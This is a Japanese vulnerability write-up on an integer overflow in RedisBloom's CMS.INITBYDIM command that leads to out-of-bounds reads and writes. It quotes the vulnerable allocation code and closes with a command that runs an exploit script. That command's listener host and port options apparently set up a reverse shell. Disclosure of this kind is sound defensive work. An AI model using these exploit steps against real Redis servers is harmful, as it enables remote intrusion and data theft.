
redis(https://redis.io/docs/latest/develop/data-types/probabilistic/bloom-filter/)で使用されるモジュールである RedisBloom(https://github.com/RedisBloom/RedisBloom)には、整数オーバーフローの脆弱性があります。この整数オーバーフローの脆弱性により、攻撃者(パスワードを知っている redis クライアント)は、ラップアラウンドにより必要メモリよりも少ないヒープメモリを割り当てることができます。その後、割り当てられたメモリを超えて読み取りと書き込みが実行できるため、情報漏えいと OOB 書き込みが発生します。
整数オーバーフローは CMS.INITBYDIM コマンドに存在します。このコマンドは、ユーザーが指定した次元で Count-Min Sketch を初期化します。2つの値(width と depth)を受け取り、NewCMSketch() 内でメモリ割り当てに使用します。
ファイル: src/cms.c
CMSketch *NewCMSketch(size_t width, size_t depth) {
assert(width > 0);
assert(depth > 0);
CMSketch *cms = CMS_CALLOC(1, sizeof(CMSketch));
cms->width = width;
cms->depth = depth;
cms->counter = 0;
cms->array = CMS_CALLOC(width * depth, sizeof(uint32_t));
return cms;
}
OOB 読み取りは、CMS_Query() に実装されている CMS.QUERY コマンドによって行われます。
OOB 書き込みは、CMS_IncrBy() に実装されている CMS.INCRBY コマンドによって行われます。
完全な分析については、アドバイザリ を確認してください。
docker run -p 6379:6379 --name redis-stack redis/redis-stack:7.2.0-v10
python exploit.py --host 172.17.0.2 --port 6379 --lhost 172.17.0.1 --lport 4444